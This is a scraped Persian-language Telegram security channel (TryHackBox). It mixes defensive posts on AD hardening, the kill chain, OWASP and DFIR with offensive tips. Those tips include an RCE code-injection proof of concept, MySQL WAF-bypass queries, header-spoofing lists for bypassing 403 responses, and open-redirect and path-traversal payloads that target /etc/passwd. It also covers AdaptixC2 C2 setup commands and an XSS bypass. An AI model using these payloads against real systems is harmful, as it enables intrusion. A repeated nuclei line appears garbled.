6712
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفهای شو.
AdaptixC2 v0.10
رلیز جدید بهترین open-source C2 منتشر شد
https://adaptix-framework.gitbook.io/adaptix-framework/blogs
UPD 0.10:
تغییرات
قابلیت ها :
Server/Client Architecture for Multiplayer Support
Cross-platform GUI client
Fully encrypted communications
Listener and Agents as Plugin (Extender)
Client extensibility for adding new tools
Task and Jobs storage
Files and Process browsers
Socks4 / Socks5 / Socks5 Auth support
Local and Reverse port forwarding support
BOF support
Linking Agents and Sessions Graph
Agents Health Checker
Agents KillDate and WorkingTime control
Windows/Linux/MacOs agents support
Remote Terminal
⚡️ قدیمی اما مفید: چند ترفند MySQL برای شکستن بعضی #WAFها
SELECT -1e1 FROM test
SELECT ~1. FROM test
SELECT \N FROM test
SELECT @^1. FROM test
SELECT -id-1. FROM test
RCE از طریق تزریق کد پایتون:
PoC:
{
"name": "TryHackBox ",
"args": {},
"json_schema": {"type": "object", "properties": {}},
"source_code": "def darkshadow():\n import os\n data='0'.encode('utf-8')\n return ''+os.popen('id').read()"
}شما واقعاً از خوندن متودولوژی ها لذت میبرید؟
اگر بیشتر میخواید، توی کامنتها نظرتون رو بگید چه تکنیکهایی کار کردید...
⭕️ دیگر کانال ها و شبکه های اجتماعی ما را دنبال کنید :
دوستان به علت مسدود شدن کانال ها توسط تلگرام که این روزا زیاد شده از شما میخواهیم در کانال های دیگر ما و شبکه های اجتماعی همراه ما باشید :
💠 کانال های تلگرام ما :
🔶 آموزش تست نفوذ و Red Team
🆔 @TryHackBox
🔶 رودمپ های مختلف
🆔 @TryHackBoxOfficial
🔶 داستان های هک
🆔 @TryHackBoxStory
🔶 آموزش برنامه نویسی
🆔 @TryCodeBox
🔶 رادیو زیروپاد ( پادکست ها )
🆔 @RadioZeroPod
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
👥 گروه های پرسش و پاسخ
🔷 هک و امنیت
🆔 @TryHackBoxGroup
🔷 برنامه نویسی
🆔 @TryCodeBoxGroup
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🔴 اینستاگرام :
🔗 http://www.instagram.com/TryHackBox
🔵 یوتیوب :
🔗 tryhackbox" rel="nofollow">https://youtube.com/@tryhackbox
🟠 گیت هاب ما :
🔗 https://github.com/TryHackBox/
🔐 HTTP -> HTTPS
اگر شما یک سرویس داخلی HTTPS دارید، اما لود بالانسر گیتوی ورودی یا چیزی مشابه فقط آدرسهای HTTP را اجازه میدهد، میتوانید این را با یک فرمان ساده socat دور بزنید. این یک راهحل بلندمدت نیست، بلکه یک کیس سریع و موقتی است.
@TryHackBox
#نکتهها #ابزارها
The Windows startup process tree.
@TryHackBox
#شکار_تهدید #ویندوز
🔊 جهت گسترش بخش آموزشی، از افرادی که علاقه و توانایی در تولید محتوای منظم دارند دعوت میشود برای همکاری همراه شوند.
اگر مایل به مشارکت هستید، جهت هماهنگی پیام دهید:
📩 @THBxSupport
🔖 تحلیل فایل های لاگ DNS با استفاده از اسپلانک
@TryHackBox
#اسپلانک #لاگ
فزونههای مرورگر میتوانند نقطه ضعف امنیتی بزرگی باشند و توسعهدهندگان باید:
اصل "کمترین دسترسی" را رعایت کنند
از انتقال و ذخیرهسازی ناامن دادهها جلوگیری کنند
در برابر تزریق کد و XSS محافظت کنند
وابستگیهای شخص ثالث امن را مدیریت کنند
شفافیت کامل در مورد جمعآوری داده داشته باشند
این راهنماییها برای توسعهدهندگان افزونه و همچنین کاربرانی که میخواهند افزونههای امنتری انتخاب کنند، بسیار مفید است.
✍️نویسنده
@TryHackBox | The Chaos
🔖 از این هدرهای درخواست برای عبور از خطای 403 Forbidden استفاده کنید
Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1 X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
💢 این سلب مسئولیت شامل تمام آموزش ها، راهنماها و به طور کلی تمام محتوای منتشر شده توسط نویسنده ها در این کانال می شود.
این کانال فقط برای اهداف آموزشی و پیشگیرانه است و در هیچ شرایطی به تشویق به نقض قوانین نمی پردازد. به درخواستهایی که قوانین ایران را نقض میکنند پاسخی داده نخواهد شد. علاوه بر این، شما به تنهایی مسئول اقدامات و استفادههای خود از مطالب ارائه شده در این کانال خواهید بود. نه نویسنده و نه میزبان او نمی توانند مسئول اقدامات شما، هر نوع که باشد، باشند.
@TryHackBox
#سلب_مسئولیت
🔖 لیست تکنیک های شناسایی (recon) که تقریباً هیچ کسی امتحان نمیکنه
• اجرای CeWL روی product & API docs
• شمارش VHost و Bruteforcing با هدر هاست تنظیم شده روی "localhost"
• بروت فورس با متدهای HTTP مختلف (POST, PUT, PATCH, ...)
• شناسایی از روی Favicon
• کراولینگ سایت ها با هدرهای user-agent مختلف
@TryHackBox
#باگ_بانتی #شناسایی
نکته #باگ_بانتی استخراج URLهای فایل های جاوااسکریپت از هر صفحه!
فراموش کن DevTools رو باز کنی از این بوکمارکت استفاده کن تا فوری همه URLهای فایل.js رو استخراج کنی و تو یه فایل.txt دانلودشون کنی.
چرا مهمه:
سریع همه فایلهای جاوااسکریپت لینک شده رو جمع کن
ازشون برای تحلیل استاتیک(LinkFinder، SecretFinder و غیره)استفاده کن
عالی برای recon،کشف endpoint و دور زدن احراز هویت
کد بوک مارکت:
javascript:(function(){let urls=[];document.querySelectorAll('*').forEach(e=>{urls.push(e.src,e.href,e.url)});urls=[...new Set(urls)].filter(u=>u&&u.endsWith('.js')).join('\n');let blob=new Blob([urls],{type:'text/plain'});let a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='javascript_urls.txt';a.click();})();
تمام اندپوینت ها را از یک فایل JS استخراج کنید و باگ خود را بگیرید .
- متد اول
waybackurls HOSTS | tac | sed "s#\\\\/\/#\\/\/#g" | egrep -o "src['\"]?
15*[=: 1\5*[ '\"]?[^'\"]+.js[^'|"> ]*" | awk -F '\/'
'{if(length($2))print "https:\/\/"$2}' | sort -fu | xargs -I '%' sh
-c "curl -k -s \"%)" | sed \"s\/[;}\)>]\/\n\/g\" | grep -Po \" (L'1|\"](https?: )?[\/1{1,2}[^'||l"> 1{5,3)|(\.
(get|post|ajax|load)\s*\(\5*['\"](https?:)?[\/1{1,2}[^'\"> ]
{5,})\"" | awk -F "['|"]" '{print $2}' sort -fu
- متد دوم
cat JS.txt | grep -aop "(?<=(\"|\'|' ))\\/[a-zA-Z0-9?&=\\/\-#.](?= (\"||'|'))" | sort -u | tee JS.txt
@TryHackBox
#باگ_بانتی
#infosec #cybersec #bugbountytips
نصب/اجرای :
sudo apt install mingw-w64 make
wget https://go.dev/dl/go1.24.4.linux-amd64.tar.gz -O /tmp/go1.24.4.linux-amd64.tar.gz
sudo rm -rf /usr/local/go /usr/local/bin/go
sudo tar -C /usr/local -xzf /tmp/go1.24.4.linux-amd64.tar.gz
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go
sudo apt install gcc g++ build-essential cmake libssl-dev qt6-base-dev qt6-websockets-dev qt6-declarative-dev
git clone https://github.com/Adaptix-Framework/AdaptixC2.git
cd AdaptixC2
make server
make extenders
make client
cd dist
chmod +x ssl_gen.sh
./ssl_gen.sh
./adaptixserver -profile profile.json
./AdaptixClient
《جشن آذرگان خجسته باد》
«روز آذر از ماه آذر در گاهشمار زرتشتی، برابر با سوم آذرماه در گاهشمار جلالی، جشن آذرگان است. ایرانیان باستان این روز را به برافروختن آتش و جشن و پایکوبی سپری میکردند، به آتشکدهها میرفتند و اهورامزدا را ستایش میکردند.»
«از میان چهار عنصر آتش، آب، خاک و باد، جایگاه آتش برای ایرانیان، ممتاز بود، زیرا با نور و راستی اهورایی پیوند داشت. ایرانیان با اتکا به همین باور دیرین، هزاران سال جشنهای آذرگان و سده را که حول محور آتش معنا میشوند، برگزار میکردند و بر این باور استوار بودند که وقتی میگویند «چراغ خانهات خاموش مباد» در واقع آرزو میکنند پیوند فرد با نور ایزدی گسسته نشود.»
«متون تاریخی و آیینی ایران نشان میدهد که برخلاف آنچه برخی ادعا میکنند، ایرانیان باستان هرگز آتشپرست نبودند، بلکه به باور آنان در واقع این آتش بود که آنها را به نور ایزدی پیوند میداد، روشنایی و گرما به جهان میبخشید، مظهر روشنایی در برابر تاریکی بود، حقیقت را آشکار و انسان را به بینش و خرد اهورایی نزدیکتر میکرد و هرگونه ناپاکی را میزدود.»
🎙 قسمت دوم RadioZeroPod منتشر شد!
💠 جاناتان جیمز داستان هکری که پنتاگون و ناسا را در سن 15 سالگی هک کرد.
✨ از تولد یک کودک تا مرگ یک قهرمان!
🎧 این قسمت رو از اینجا ببینید:
https://youtu.be/F7raVUzP3LY
#RadioZeroPod
🔖 پیدا کردن Low Hanging Fruits با استفاده از Nuclei AI
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
nuclei -list targets.txt -ai
🔖 راهنما و چک لیست تست نفوذ
@TryHackBox
#چک_لیست #تست_نفوذ
🎙 قسمت اول RadioZeroPod منتشر شد!
در این اپیزود رفتیم سراغ یکی از واقعیترین و جنجالیترین پروندههای دنیای هک
هکری به نام Pompompurin که اسمش سالها تو گزارشهای امنیت سایبری تکرار میشد.
سراغ تحلیل کامل OSINT و Threat Intelligence رفتیم و لایهلایه داستانش رو باز کردیم…
🎧 این قسمت رو از اینجا ببینید:
https://youtu.be/lAehXOe5tew
#RadioZeroPod
🐧 چگونه از طریق CLI بررسی کنیم که پورتی در لینوکس/یونیکس استفاده میشود یا خیر
مهم نیست برای چه هدفی به این اطلاعات نیاز دارید شناسایی نفوذ یا بررسی اینکه کدام سرویس روی کدام پورت گوش میدهد، دستور مربوطه همیشه باید در دسترس باشد.
در اینجا چند روش آمده است :
$ sudo lsof -i -P -n | grep LISTEN
$ sudo netstat -tulpn | grep LISTEN
$ sudo ss -tulpn | grep LISTEN
$ sudo lsof -i:22
$ sudo nmap -sTU -O IP-address
📖 OWASP Top 10 (2025)
🔖 10 آسیبپذیری (ریسک) رایج و مهم در برنامههای تحتوب
- A01:2025 Broken Access Control
- A02:2025 Security Misconfiguration
- A03:2025 Software Supply Chain Failures
- A04:2025 Cryptographic Failures
- A05:2025 Injection
- A06:2025 Insecure Design
- A07:2025 Authentication Failures
- A08:2025 Software or Data Integrity Failures
- A09:2025 Logging & Alerting Failures
- A10:2025 Mishandling of Exceptional Conditions
نقشه ذهنی (MindMap) آرتیفکت های DFIR #ویندوز مجموعه ای از آرتیفکتها که در هنگام اجرای عملیات دیجیتال فارنزیک و پاسخ به رویدادهای امنیتی (DFIR) در سیستم های ویندوز، باید مورد توجه قرار گیرند.
@TryHackBox
#پاسخ_به_حادثه #dfir
🔖 در تلاش برای بایپس WAF و تزریق پیلود XSS، تگ <details> را فراموش نکنید. اغلب توسط WAF مسدود نمیشود!
@TryHackBox
#باگ_بانتی #نکته
🟥 بسیاری از نفوذهای موفق به شبکههای ویندوزی، نه به دلیل باگهای نرمافزاری، بلکه به دلیل پیکربندیهای ضعیف و اشتباه در سرویس Active Directory رخ میدهند.
🟦کلید اصلی امنیت، غیرفعال کردن پروتکلهای قدیمی و ناامن
(مانند NTLM و LLMNR)
🟩اعمال اصل "کمترین دسترسی" یا همان "Least Privilege" در سخت افزار ها و انجام ممیزی و بازبینی منظم تنظیمات و مجوزها است.
✍️نویسنده
@TryHackBox | The Chaos
#Active_Directory #AD #Windows #CyberSecurity
🔖 میتونی این Bypass دستی مؤثر برای open redirect رو امتحان کنی
💢 ۱. تزریق Null-byte:
⦁ /google.com%00/
⦁ //google.com%00
💢 ۲. تغییرات(variations) انکودینگ Base64:
⦁ aHR0cDovL2dvb2dsZS5jb20=
⦁ aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ==
⦁ //base64:d3d3Lmdvb2dsZS5jb20=/
💢 ۳. تغییرات حساس به حروف کوچک/بزرگ:
⦁ //GOOGLE.com/
⦁ //GoOgLe.com/
💢 ۴. توالی های UTF-8 طولانی:
⦁ %C0%AE%C0%AE%2F (انکودینگ طولانی برای../)
⦁ %C0%AF%C0%AF%2F%2Fgoogle.com
💢 ۵. طرح های انکودینگ مخلوط:
⦁ /%68%74%74%70://google.com
⦁ //base64:%32%46%32%46%67%6F%6F%67%6C%65%2E%63%6F%6D
⦁ //base64:%2F%2Fgoogle.com/
💢 ۶. نوتاسیون های(notations) جایگزین دامنه:
⦁ //google.com@127.0.0.1/
⦁ //127.0.0.1.xip.io/
⦁ //0x7F000001/ (IP هگزادسیمال)
💢 ۷. کاراکترهای خاص Trailing:
⦁ //google.com/#/
⦁ //google.com/;&/
⦁ //google.com/?id=123&//
💢 ۸. فرمت آدرس IP اکتال( Octal ):
⦁ http://0177.0.0.1/
⦁ http://00177.0000.0000.0001/
💢 ۹. تغییرات آدرس IP:
⦁ http://3232235777 (نوتاسیون دسیمال IP)
⦁ http://0xC0A80001 (نوتاسیون هگز IP)
⦁ http://192.168.1.1/
💢 ۱۰. Path traversal با انکودینگ:
⦁ /..%252f..%252f..%252fetc/passwd
⦁ /%252e%252e/%252e%252e/%252e%252e/etc/passwd
⦁ /..%5c..%5c..%5cwindows/system32/cmd.exe
💢 ۱۱. گنجاندن پروتکل inclusion:
⦁ ftp://google.com/
⦁ javascript:alert(1)//google.com
💢 ۱۲. URLهای نسبی پروتکل:
-:////google.com/
-:///google.com/
💢 ۱۳. موارد لبه redirect:
⦁ //google.com/?q=//bing.com/
⦁ //google.com?q=https://another-site.com/
💢 ۱۴. نوتاسیون IPv6:
⦁ http://[::1]/
⦁ http://[::ffff:192.168.1.1]/
💢 ۱۵. انکودینگ دوگانه URL:
⦁ %252f%252fgoogle.com (دو بار انکود شده)
⦁ %255cgoogle.com
💢 ۱۶. ترکیب traversal و انکودینگ:
⦁ /%2E%2E/%2E%2E/etc/passwd
⦁ /%2e%2e%5c%2e%2e/etc/passwd
💢 ۱۷. مبتنی بر Reverse DNS:
⦁ https://google.com.reverselookup.com
⦁ //lookup-reversed.google.com/
💢 ۱۸. پورت های غیراستاندارد:
⦁ http://google.com:81/
⦁ https://google.com:444/
💢 ۱۹. پنهان سازی یونیکد در مسیرها:
⦁ /%E2%80%8Egoogle.com/
⦁ /%C2%A0google.com/
💢 ۲۰. پنهان سازی پارامترهای کوئری:
⦁ //google.com/?q=http://another-site.com/
⦁ //google.com/?redirect=https://google.com/
💢 ۲۱. استفاده از سمبل @ برای userinfo:
⦁ https://admin:password@google.com/
⦁ http://@google.com
💢 ۲۲. ترکیب userinfo و traversal:
⦁ https://admin:password@google.com/../../etc/passwd
@TryHackBox
#بایپس
🔖 لیستی از مطالعه باگ بانتی : مجموعه ای منتخب از مقالات و منابع برای شکارچیان باگ بانتی .
https://bb.vitorfalcao.com/
@TryHackBox
#bugbounty #باگ_بانتی
🗺 حمله سایبری یک فرآیند مرحلهبهمرحله است. مهاجم از جمعآوری اطلاعات شروع میکند، Tools میسازد، نفوذ میکند، در سیستم پنهان میشود، حرکت میکند، دادهها را میدزدد و در نهایت آنها را خارج میکند.
📚مهمترین نکته برای شما به عنوان مدافع برای هر مرحله از این چرخه، یک اقدام دفاعی مشخص وجود دارد. شما با درک این مراحل میتوانید:
--> از ورود مهاجم جلوگیری کنید (مثلاً با فیلتر ایمیل و وصله کردن سیستم).
--> حرکت او را در شبکه محدود کنید (با تقسیمبندی شبکه).
--> دسترسی او را بگیرید (با سیاست کمترین دسترسی).
--> دادههای خود را ایمن نگه دارید (با پشتیبانگیری).
--> و در نهایت، اگر حملهای رخ داد، به سرعت آن را شناسایی و پاسخ دهید (Incident response).
این نما به شما کمک میکند تا امنیت خود را به صورت لایهای و مرحلهای تقویت کنید.
✍️نویسنده
@TryHackBox | The Chaos
#MITRE #Kill_Chain #Hacking #CyberSecurity